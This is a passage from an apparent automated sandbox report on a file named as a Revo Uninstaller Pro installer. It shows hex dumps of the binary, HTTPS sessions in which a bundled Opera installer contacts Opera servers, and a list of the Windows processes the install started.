NOQNC\_Fh^[]Uut]]VWyh3]tV]%uF];r3_^U}VW~(uiSWNty]x uXFDW8tHWN,
2024-12-09 16:54:02 UTC	16384	IN	Data Raw: 83 e8 01 89 41 28 75 08 51 e8 06 00 00 00 33 c0 5d c2 04 00 56 8b f1 e8 9c 00 00 00 6a 78 56 e8 a2 c1 00 00 59 59 8b c6 5e c2 04 00 56 8b f1 8d 4e 28 e8 7c 5a ff ff 33 c9 c7 06 28 3b 44 00 b8 00 00 10 00 89 4e 2c 89 46 40 89 46 44 33 c0 40 89 4e 30 89 4e 34 89 4e 3c 89 4e 54 8d 4e 58 c7 46 04 14 3b 44 00 c7 46 08 00 3b 44 00 c7 46 0c ec 3a 44 00 c7 46 10 d4 3a 44 00 c7 46 14 bc 3a 44 00 c7 46 18 a8 3a 44 00 c7 46 1c 94 3a 44 00 c7 46 20 80 3a 44 00 c7 46 24 6c 3a 44 00 c6 46 38 ff 89 46 48 89 46 4c c7 46 50 00 00 00 40 e8 ff 59 ff ff 8b c6 5e c3 55 8b ec 6a ff 68 8c 9b 43 00 64 a1 00 00 00 00 50 56 a1 40 b0 44 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 8b f1 8b 4e 2c c7 06 28 3b 44 00 c7 46 04 14 3b 44 00 c7 46 08 00 3b 44 00 c7 46 0c ec 3a 44 00 c7 46 10 d4 Data Ascii: A(uQ3]VjxVYY^VN(\|Z3(;DN,F@FD3@N0N4N<NTNXF;DF;DF:DF:DF:DF:DF:DF :DF$l:DF8FHFLFP@Y^UjhCdPV@D3PEdN,(;DF;DF;DF:DF
2024-12-09 16:54:03 UTC	16384	IN	Data Raw: 8a 06 88 07 8a 46 01 88 47 01 8a 46 02 88 47 02 8a 46 03 88 47 03 8b 46 04 89 47 04 8b 46 08 89 47 08 8b 46 0c 89 47 0c 8b 46 10 8b 4e 14 89 47 10 8d 46 18 89 4f 14 8d 4f 18 50 e8 ba e6 fe ff 83 65 fc 00 8d 46 24 50 8d 4f 24 e8 aa e6 fe ff 8b c7 e8 09 06 02 00 c2 04 00 55 8b ec 6a ff 68 74 9c 43 00 64 a1 00 00 00 00 50 a1 40 b0 44 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 8b 09 ff 75 0c 68 70 34 44 00 8b 01 51 ff 10 8b 4d f4 64 89 0d 00 00 00 00 59 c9 c2 08 00 cc cc cc cc cc 55 8b ec 6a ff 68 74 9c 43 00 64 a1 00 00 00 00 50 a1 40 b0 44 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 8b 09 ff 75 0c 68 a0 33 44 00 8b 01 51 ff 10 8b 4d f4 64 89 0d 00 00 00 00 59 c9 c2 08 00 cc cc cc cc cc 83 6c 24 04 04 e9 9d e0 ff ff 83 6c 24 04 08 e9 93 e0 ff ff 83 6c 24 04 0c e9 89 Data Ascii: FGFGFGFGFGFGFNGFOOPeF$PO$UjhtCdP@D3PEduhp4DQMdYUjhtCdP@D3PEduh3DQMdYl$l$l$
2024-12-09 16:54:03 UTC	16384	IN	Data Raw: 8b 48 04 8d 41 98 89 44 31 fc 8b c6 5e c9 c2 10 00 6a 08 b8 2a ad 43 00 e8 66 c6 01 00 6a 00 8d 4d ec e8 0b 4f 00 00 83 65 fc 00 b9 b4 db 44 00 8b 3d a0 db 44 00 89 7d f0 e8 d7 dc ff ff 8b 4d 08 50 e8 ce dd ff ff 8b f0 85 f6 75 4f 85 ff 74 04 8b f7 eb 47 ff 75 08 8d 45 f0 50 e8 b5 03 00 00 59 59 83 f8 ff 74 44 8b 75 f0 8d 4d f0 56 e8 7b 08 00 00 56 c6 45 fc 01 e8 e7 51 00 00 8b 06 59 8b ce ff 50 04 8d 4d f0 89 35 a0 db 44 00 e8 5c 03 00 00 8d 4d f0 e8 66 03 00 00 8d 4d ec e8 e6 4e 00 00 8b c6 e8 b5 c5 01 00 c3 e8 f4 da ff ff cc e8 30 9e fe ff 8b c1 c2 04 00 ff 32 e8 83 05 00 00 c3 56 8b f1 e8 66 05 00 00 8b c6 5e c2 08 00 56 8b f1 e8 58 05 00 00 8b c6 5e c2 04 00 55 8b ec 51 53 56 57 8b f1 e8 07 05 00 00 8b 7d 0c 3b f8 0f 87 81 00 00 00 6a 0f 5b 8b ce 3b Data Ascii: HAD1^j*CfjMOeD=D}MPuOtGuEPYYtDuMV{VEQYPM5D\MfMN02Vf^VX^UQSVW};j[;
2024-12-09 16:54:03 UTC	16384	IN	Data Raw: 8d 4d f0 8b f0 8b fa e8 4c d7 ff ff 2b c6 8b cb 89 45 f0 8d 45 f0 1b d7 50 89 55 f4 e8 21 d7 ff ff 5f 5e 8b c3 5b c9 c2 04 00 55 8b ec 51 51 56 8b f1 8b ca e8 1f d7 ff ff 6a 00 68 40 42 0f 00 52 50 e8 91 87 01 00 89 45 f8 8b ce 8d 45 f8 89 55 fc 50 e8 ea d6 ff ff 8b c6 5e c9 c3 55 8b ec 51 51 56 8b f1 8b ca e8 ec d6 ff ff 6a 00 68 40 42 0f 00 52 50 e8 fe 89 01 00 89 45 f8 8b ce 8d 45 f8 89 55 fc 50 e8 b7 d6 ff ff 8b c6 5e c9 c3 81 f9 ff ff ff 7f 0f 87 e3 96 ff ff 8d 04 09 c3 3b 0d 40 b0 44 00 75 01 c3 e9 2e 02 00 00 e9 fe 03 00 00 6a 0c 68 b0 90 44 00 e8 99 08 00 00 c6 45 e7 00 8b 5d 0c 8b c3 8b 7d 10 0f af c7 8b 75 08 03 f0 89 75 08 83 65 fc 00 8b c7 4f 89 7d 10 85 c0 74 15 2b f3 89 75 08 8b 4d 14 ff 15 30 c2 43 00 8b ce ff 55 14 eb e1 b0 01 88 45 e7 c7 Data Ascii: ML+EEPU!_^[UQQVjh@BRPEEUP^UQQVjh@BRPEEUP^;@Du.jhDE]}uueO}t+uM0CUE
2024-12-09 16:54:03 UTC	16384	IN	Data Raw: ec 0f b6 42 ec 2b c8 74 0e 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff 85 c9 0f 85 0e f6 ff ff 8b 46 ed 3b 42 ed 0f 84 87 00 00 00 0f b6 c8 0f b6 42 ed 2b c8 74 0e 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff 85 c9 0f 85 e1 f5 ff ff 0f b6 4e ee 0f b6 42 ee 2b c8 74 0e 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff 85 c9 0f 85 bf f5 ff ff 0f b6 4e ef 0f b6 42 ef 2b c8 74 0e 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff 85 c9 0f 85 9d f5 ff ff 0f b6 4e f0 0f b6 42 f0 2b c8 74 0e 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff 85 c9 0f 85 7b f5 ff ff 8b 46 f1 3b 42 f1 0f 84 87 00 00 00 0f b6 c8 0f b6 42 f1 2b c8 74 0e 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff 85 c9 0f 85 4e f5 ff ff 0f b6 4e f2 0f b6 42 f2 2b c8 74 0e 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff 85 c9 0f 85 2c f5 Data Ascii: B+t3EF;BB+t3ENB+t3ENB+t3ENB+t3E{F;BB+t3ENNB+t3E,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49849	107.167.96.38	443	8040	C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 16:54:11 UTC	183	OUT	POST /v5/netinstaller/opera/Stable/windows/x64 HTTP/1.1 User-Agent: Opera NetInstaller/115.0.5322.77 Host: autoupdate.geo.opera.com Content-Length: 656 Cache-Control: no-cache
2024-12-09 16:54:11 UTC	656	OUT	Data Raw: 5a 54 45 7a 4d 7a 45 33 4d 32 55 34 4f 44 68 6b 4e 32 59 33 59 6d 45 30 4f 44 51 33 4e 6d 59 77 4e 6d 4e 6c 4e 6d 4a 6d 4d 44 45 34 4e 6d 59 34 4d 7a 41 7a 59 6d 4e 6d 4e 57 52 6d 4d 57 59 79 59 6d 56 6c 59 57 4a 6d 4e 44 45 78 5a 6a 45 31 5a 44 41 7a 4f 44 70 37 49 6d 4e 76 64 57 35 30 63 6e 6b 69 4f 69 4a 56 55 79 49 73 49 6d 6c 75 63 33 52 68 62 47 78 6c 63 6c 39 75 59 57 31 6c 49 6a 6f 69 54 33 42 6c 63 6d 46 54 5a 58 52 31 63 43 35 6c 65 47 55 69 4c 43 4a 77 63 6d 39 6b 64 57 4e 30 49 6a 70 37 49 6d 35 68 62 57 55 69 4f 69 4a 76 63 47 56 79 59 53 4a 39 4c 43 4a 78 64 57 56 79 65 53 49 36 49 69 39 76 63 47 56 79 59 53 39 7a 64 47 46 69 62 47 55 76 64 32 6c 75 5a 47 39 33 63 7a 39 31 64 47 31 66 63 32 39 31 63 6d 4e 6c 50 55 52 58 54 6b 78 54 56 43 5a Data Ascii: ZTEzMzE3M2U4ODhkN2Y3YmE0ODQ3NmYwNmNlNmJmMDE4NmY4MzAzYmNmNWRmMWYyYmVlYWJmNDExZjE1ZDAzODp7ImNvdW50cnkiOiJVUyIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cz91dG1fc291cmNlPURXTkxTVCZ
2024-12-09 16:54:12 UTC	477	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 16:54:12 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Allow: GET, HEAD, POST Cache-Control: no-cache, no-store, must-revalidate, max-age=0 Pragma: no-cache Expires: Thu, 1 Jan 1970 00:00:01 GMT X-Content-Type-Options: nosniff Referrer-Policy: same-origin Cross-Origin-Opener-Policy: same-origin Strict-Transport-Security: max-age=31536000; includeSubDomains
2024-12-09 16:54:12 UTC	942	IN	Data Raw: 33 61 32 0d 0a 7b 0a 20 22 69 6e 73 74 61 6c 6c 65 72 5f 61 72 63 68 22 3a 20 22 78 36 34 22 2c 0a 20 22 69 6e 73 74 61 6c 6c 65 72 5f 63 68 65 63 6b 73 75 6d 22 3a 20 22 37 32 65 37 37 39 63 65 37 64 33 36 33 61 30 64 31 64 66 64 61 32 36 65 39 61 35 31 36 30 37 39 62 34 64 39 61 30 64 32 31 32 63 34 66 39 34 36 31 36 66 66 30 39 66 65 33 63 66 38 34 64 30 30 22 2c 0a 20 22 69 6e 73 74 61 6c 6c 65 72 5f 66 69 6c 65 6e 61 6d 65 22 3a 20 22 4f 70 65 72 61 5f 31 31 35 2e 30 2e 35 33 32 32 2e 37 37 5f 41 75 74 6f 75 70 64 61 74 65 5f 78 36 34 2e 65 78 65 22 2c 0a 20 22 69 6e 73 74 61 6c 6c 65 72 5f 73 69 7a 65 22 3a 20 31 31 39 39 37 32 37 31 32 2c 0a 20 22 69 6e 73 74 61 6c 6c 65 72 22 3a 20 22 68 74 74 70 73 3a 2f 2f 64 6f 77 6e 6c 6f 61 64 2e 6f 70 65 72 Data Ascii: 3a2{ "installer_arch": "x64", "installer_checksum": "72e779ce7d363a0d1dfda26e9a516079b4d9a0d212c4f94616ff09fe3cf84d00", "installer_filename": "Opera_115.0.5322.77_Autoupdate_x64.exe", "installer_size": 119972712, "installer": "https://download.oper

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49850	107.167.96.39	443	8040	C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 16:54:11 UTC	120	OUT	GET /me/ HTTP/1.1 User-Agent: Opera NetInstaller/115.0.5322.77 Host: autoupdate.opera.com Cache-Control: no-cache
2024-12-09 16:54:12 UTC	471	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 16:54:12 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Allow: HEAD, GET Cache-Control: no-cache, no-store, must-revalidate, max-age=0 Pragma: no-cache Expires: Thu, 1 Jan 1970 00:00:01 GMT X-Content-Type-Options: nosniff Referrer-Policy: same-origin Cross-Origin-Opener-Policy: same-origin Strict-Transport-Security: max-age=31536000; includeSubDomains
2024-12-09 16:54:12 UTC	57	IN	Data Raw: 32 65 0d 0a 7b 0a 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 22 74 69 6d 65 73 74 61 6d 70 22 3a 20 31 37 33 33 37 36 33 32 35 32 0a 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 2e{ "country": "US", "timestamp": 1733763252}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49851	107.167.125.189	443	8040	C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 16:54:13 UTC	222	OUT	POST /v1/binary HTTP/1.1 Authorization: Basic dmFBZUV4c1JXQmViWm9McmNpVGlFSFpmWUdXeUlXMFo6 User-Agent: Opera installer Host: desktop-netinstaller-sub.osp.opera.software Content-Length: 1474 Cache-Control: no-cache
2024-12-09 16:54:13 UTC	1474	OUT	Data Raw: 00 00 00 05 6a 02 48 38 37 64 31 32 61 64 30 2d 31 63 31 34 2d 34 30 38 66 2d 38 31 35 31 2d 30 65 35 34 65 34 62 64 38 31 31 34 00 d8 db bd c5 f5 64 d8 db bd c5 f5 64 00 02 02 02 1e 4f 70 65 72 61 20 49 6e 73 74 61 6c 6c 65 72 02 1a 31 31 35 2e 30 2e 35 33 32 32 2e 37 37 02 0c 53 74 61 62 6c 65 02 02 06 72 31 30 02 0c 44 57 4e 4c 53 54 02 06 61 70 62 00 00 00 00 02 0e 57 69 6e 64 6f 77 73 02 1e 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 02 04 31 30 00 02 02 48 63 64 39 66 38 31 63 36 2d 37 32 39 61 2d 34 64 39 35 2d 61 63 37 31 2d 31 65 62 62 61 37 35 62 66 63 37 62 02 48 35 37 66 34 62 37 63 31 2d 31 38 37 35 2d 34 63 33 64 2d 61 61 64 61 2d 66 65 31 65 35 39 35 66 39 62 37 31 02 02 00 00 00 00 02 02 08 6e 6f 6e 65 a0 0a 5a 54 45 7a 4d 7a 45 33 4d 32 Data Ascii: jH87d12ad0-1c14-408f-8151-0e54e4bd8114ddOpera Installer115.0.5322.77Stabler10DWNLSTapbWindows10.0.19045.200610Hcd9f81c6-729a-4d95-ac71-1ebba75bfc7bH57f4b7c1-1875-4c3d-aada-fe1e595f9b71noneZTEzMzE3M2
2024-12-09 16:54:13 UTC	162	IN	HTTP/1.1 201 CREATED Server: nginx/1.18.0 Date: Mon, 09 Dec 2024 16:54:13 GMT Content-Type: text/html; charset=utf-8 Content-Length: 36 Connection: close
2024-12-09 16:54:13 UTC	36	IN	Data Raw: 38 37 64 31 32 61 64 30 2d 31 63 31 34 2d 34 30 38 66 2d 38 31 35 31 2d 30 65 35 34 65 34 62 64 38 31 31 34 Data Ascii: 87d12ad0-1c14-408f-8151-0e54e4bd8114

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49857	107.167.96.30	443	8040	C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 16:54:14 UTC	249	OUT	GET /api/v2/features?country=US&language=en-GB&uuid=a6c287cc-47e5-4bf0-9dac-fbaf9040d09e&product=&channel=Stable&version=115.0.5322.77 HTTP/1.1 User-Agent: Opera NetInstaller/115.0.5322.77 Host: features.opera-api2.com Cache-Control: no-cache
2024-12-09 16:54:14 UTC	237	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 16:54:14 GMT Content-Type: application/json Content-Length: 1768 Connection: close Cache-Control: max-age=3648 Strict-Transport-Security: max-age=31536000; includeSubDomains
2024-12-09 16:54:14 UTC	1768	IN	Data Raw: 7b 22 66 65 61 74 75 72 65 73 22 3a 7b 22 30 31 39 37 39 32 39 39 63 38 63 64 22 3a 7b 22 73 74 61 74 65 22 3a 22 65 6e 61 62 6c 65 64 22 7d 2c 22 30 33 62 38 33 35 37 65 35 61 30 38 22 3a 7b 22 73 74 61 74 65 22 3a 22 65 6e 61 62 6c 65 64 22 7d 2c 22 30 36 66 62 62 64 30 62 37 62 66 37 22 3a 7b 22 73 74 61 74 65 22 3a 22 65 6e 61 62 6c 65 64 22 7d 2c 22 30 66 39 63 66 38 37 35 38 62 63 63 22 3a 7b 22 73 74 61 74 65 22 3a 22 64 69 73 61 62 6c 65 64 22 7d 2c 22 31 63 34 64 64 64 62 36 35 62 61 63 22 3a 7b 22 73 74 61 74 65 22 3a 22 65 6e 61 62 6c 65 64 22 7d 2c 22 31 64 32 34 64 63 65 62 39 33 37 61 22 3a 7b 22 73 74 61 74 65 22 3a 22 65 6e 61 62 6c 65 64 22 7d 2c 22 32 31 31 34 64 63 38 62 64 37 32 61 22 3a 7b 22 73 74 61 74 65 22 3a 22 65 6e 61 62 6c 65 Data Ascii: {"features":{"01979299c8cd":{"state":"enabled"},"03b8357e5a08":{"state":"enabled"},"06fbbd0b7bf7":{"state":"enabled"},"0f9cf8758bcc":{"state":"disabled"},"1c4dddb65bac":{"state":"enabled"},"1d24dceb937a":{"state":"enabled"},"2114dc8bd72a":{"state":"enable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49858	107.167.96.36	443	8040	C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 16:54:14 UTC	262	OUT	GET /download/get/?id=69044&autoupdate=1&ni=1&stream=stable&utm_campaign=r10&utm_medium=apb&utm_source=DWNLST&niuid=cd9f81c6-729a-4d95-ac71-1ebba75bfc7b HTTP/1.1 User-Agent: Opera NetInstaller/115.0.5322.77 Host: download.opera.com Cache-Control: no-cache
2024-12-09 16:54:15 UTC	346	IN	HTTP/1.1 302 Found Server: nginx Date: Mon, 09 Dec 2024 16:54:15 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://download3.operacdn.com/ftp/pub/opera/desktop/115.0.5322.77/win/Opera_115.0.5322.77_Autoupdate_x64.exe Strict-Transport-Security: max-age=31536000; includeSubDomains
2024-12-09 16:54:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49859	107.167.125.189	443	8040	C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 16:54:15 UTC	221	OUT	POST /v1/binary HTTP/1.1 Authorization: Basic dmFBZUV4c1JXQmViWm9McmNpVGlFSFpmWUdXeUlXMFo6 User-Agent: Opera installer Host: desktop-netinstaller-sub.osp.opera.software Content-Length: 254 Cache-Control: no-cache
2024-12-09 16:54:15 UTC	254	OUT	Data Raw: 00 00 00 05 6a 02 48 32 66 39 62 34 31 33 32 2d 61 36 35 36 2d 34 30 33 31 2d 39 61 65 33 2d 33 66 33 66 37 36 35 39 37 35 62 61 00 d8 db bd c5 f5 64 c8 8d be c5 f5 64 00 02 02 02 1e 4f 70 65 72 61 20 49 6e 73 74 61 6c 6c 65 72 02 1a 31 31 35 2e 30 2e 35 33 32 32 2e 37 37 02 0c 53 74 61 62 6c 65 02 02 06 72 31 30 02 0c 44 57 4e 4c 53 54 02 06 61 70 62 00 00 00 00 02 0e 57 69 6e 64 6f 77 73 02 1e 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 02 04 31 30 00 02 02 48 63 64 39 66 38 31 63 36 2d 37 32 39 61 2d 34 64 39 35 2d 61 63 37 31 2d 31 65 62 62 61 37 35 62 66 63 37 62 02 48 35 37 66 34 62 37 63 31 2d 31 38 37 35 2d 34 63 33 64 2d 61 61 64 61 2d 66 65 31 65 35 39 35 66 39 62 37 31 02 0e 00 00 00 00 04 00 00 02 01 01 02 02 00 00 00 00 00 00 00 08 02 02 Data Ascii: jH2f9b4132-a656-4031-9ae3-3f3f765975baddOpera Installer115.0.5322.77Stabler10DWNLSTapbWindows10.0.19045.200610Hcd9f81c6-729a-4d95-ac71-1ebba75bfc7bH57f4b7c1-1875-4c3d-aada-fe1e595f9b71
2024-12-09 16:54:15 UTC	162	IN	HTTP/1.1 201 CREATED Server: nginx/1.18.0 Date: Mon, 09 Dec 2024 16:54:15 GMT Content-Type: text/html; charset=utf-8 Content-Length: 36 Connection: close
2024-12-09 16:54:15 UTC	36	IN	Data Raw: 32 66 39 62 34 31 33 32 2d 61 36 35 36 2d 34 30 33 31 2d 39 61 65 33 2d 33 66 33 66 37 36 35 39 37 35 62 61 Data Ascii: 2f9b4132-a656-4031-9ae3-3f3f765975ba

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49866	107.167.125.189	443	8040	C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 16:54:17 UTC	221	OUT	POST /v1/binary HTTP/1.1 Authorization: Basic dmFBZUV4c1JXQmViWm9McmNpVGlFSFpmWUdXeUlXMFo6 User-Agent: Opera installer Host: desktop-netinstaller-sub.osp.opera.software Content-Length: 248 Cache-Control: no-cache
2024-12-09 16:54:17 UTC	248	OUT	Data Raw: 00 00 00 05 6a 02 48 62 62 33 36 63 33 66 30 2d 34 38 66 64 2d 34 32 30 65 2d 38 37 34 30 2d 63 32 30 33 65 32 63 66 34 38 38 64 00 82 dc bd c5 f5 64 9e ad be c5 f5 64 00 02 02 02 1e 4f 70 65 72 61 20 49 6e 73 74 61 6c 6c 65 72 02 1a 31 31 35 2e 30 2e 35 33 32 32 2e 37 37 02 0c 53 74 61 62 6c 65 02 02 06 72 31 30 02 0c 44 57 4e 4c 53 54 02 06 61 70 62 00 00 00 00 02 0e 57 69 6e 64 6f 77 73 02 1e 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 02 04 31 30 00 02 02 48 63 64 39 66 38 31 63 36 2d 37 32 39 61 2d 34 64 39 35 2d 61 63 37 31 2d 31 65 62 62 61 37 35 62 66 63 37 62 02 48 35 37 66 34 62 37 63 31 2d 31 38 37 35 2d 34 63 33 64 2d 61 61 64 61 2d 66 65 31 65 35 39 35 66 39 62 37 31 02 14 00 00 00 00 06 00 00 00 00 00 00 00 00 08 04 04 Data Ascii: jHbb36c3f0-48fd-420e-8740-c203e2cf488dddOpera Installer115.0.5322.77Stabler10DWNLSTapbWindows10.0.19045.200610Hcd9f81c6-729a-4d95-ac71-1ebba75bfc7bH57f4b7c1-1875-4c3d-aada-fe1e595f9b71
2024-12-09 16:54:17 UTC	162	IN	HTTP/1.1 201 CREATED Server: nginx/1.18.0 Date: Mon, 09 Dec 2024 16:54:17 GMT Content-Type: text/html; charset=utf-8 Content-Length: 36 Connection: close
2024-12-09 16:54:17 UTC	36	IN	Data Raw: 62 62 33 36 63 33 66 30 2d 34 38 66 64 2d 34 32 30 65 2d 38 37 34 30 2d 63 32 30 33 65 32 63 66 34 38 38 64 Data Ascii: bb36c3f0-48fd-420e-8740-c203e2cf488d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49872	107.167.125.189	443	8040	C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 16:54:19 UTC	221	OUT	POST /v1/binary HTTP/1.1 Authorization: Basic dmFBZUV4c1JXQmViWm9McmNpVGlFSFpmWUdXeUlXMFo6 User-Agent: Opera installer Host: desktop-netinstaller-sub.osp.opera.software Content-Length: 444 Cache-Control: no-cache
2024-12-09 16:54:19 UTC	444	OUT	Data Raw: 00 00 00 05 6a 02 48 38 31 65 31 30 32 38 39 2d 33 37 33 61 2d 34 65 35 38 2d 38 65 66 66 2d 30 38 63 64 61 30 64 36 33 39 38 36 00 be 86 be c5 f5 64 8c cd be c5 f5 64 00 02 02 02 1e 4f 70 65 72 61 20 49 6e 73 74 61 6c 6c 65 72 02 1a 31 31 35 2e 30 2e 35 33 32 32 2e 37 37 02 0c 53 74 61 62 6c 65 02 02 06 72 31 30 02 0c 44 57 4e 4c 53 54 02 06 61 70 62 00 00 00 00 02 0e 57 69 6e 64 6f 77 73 02 1e 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 02 04 31 30 00 02 02 48 63 64 39 66 38 31 63 36 2d 37 32 39 61 2d 34 64 39 35 2d 61 63 37 31 2d 31 65 62 62 61 37 35 62 66 63 37 62 02 48 35 37 66 34 62 37 63 31 2d 31 38 37 35 2d 34 63 33 64 2d 61 61 64 61 2d 66 65 31 65 35 39 35 66 39 62 37 31 02 16 02 dc 02 68 74 74 70 73 3a 2f 2f 64 6f 77 6e 6c 6f 61 64 2e 6f 70 65 Data Ascii: jH81e10289-373a-4e58-8eff-08cda0d63986ddOpera Installer115.0.5322.77Stabler10DWNLSTapbWindows10.0.19045.200610Hcd9f81c6-729a-4d95-ac71-1ebba75bfc7bH57f4b7c1-1875-4c3d-aada-fe1e595f9b71https://download.ope
2024-12-09 16:54:19 UTC	162	IN	HTTP/1.1 201 CREATED Server: nginx/1.18.0 Date: Mon, 09 Dec 2024 16:54:19 GMT Content-Type: text/html; charset=utf-8 Content-Length: 36 Connection: close
2024-12-09 16:54:19 UTC	36	IN	Data Raw: 38 31 65 31 30 32 38 39 2d 33 37 33 61 2d 34 65 35 38 2d 38 65 66 66 2d 30 38 63 64 61 30 64 36 33 39 38 36 Data Ascii: 81e10289-373a-4e58-8eff-08cda0d63986

Target ID:	0
Start time:	11:52:30
Start date:	09/12/2024
Path:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe"
Imagebase:	0x400000
File size:	22'221'229 bytes
MD5 hash:	881464F03502D44E29E5FEA8B4C35538
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:52:52
Start date:	09/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	RUNDLL32.EXE SETUPAPI.DLL,InstallHinfSection DefaultInstall 132 C:\Program Files\VS Revo Group\Revo Uninstaller Pro\revoflt.inf
Imagebase:	0x7ff683040000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:52:54
Start date:	09/12/2024
Path:	C:\Windows\System32\runonce.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\runonce.exe" -r
Imagebase:	0x7ff61c920000
File size:	61'952 bytes
MD5 hash:	9ADEF025B168447C1E8514D919CB5DC0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	11:52:55
Start date:	09/12/2024
Path:	C:\Windows\System32\grpconv.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\grpconv.exe" -o
Imagebase:	0x7ff687230000
File size:	52'736 bytes
MD5 hash:	8531882ACC33CB4BDC11B305A01581CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:52:56
Start date:	09/12/2024
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32.exe /s "C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RUExt.dll"
Imagebase:	0x7ff7a08e0000
File size:	25'088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	11:52:57
Start date:	09/12/2024
Path:	C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe" /bc
Imagebase:	0x140000000
File size:	25'576'112 bytes
MD5 hash:	EE15BFE5A394ADBFB087B053A6A72821
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	11:53:05
Start date:	09/12/2024
Path:	C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe" /regserver /NOREDIRECT
Imagebase:	0x400000
File size:	10'103'264 bytes
MD5 hash:	216B49B7EB7BE44D7ED7367F3725285F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 0000000A.00000000.2096953602.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Author: Joe Security
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	11:53:08
Start date:	09/12/2024
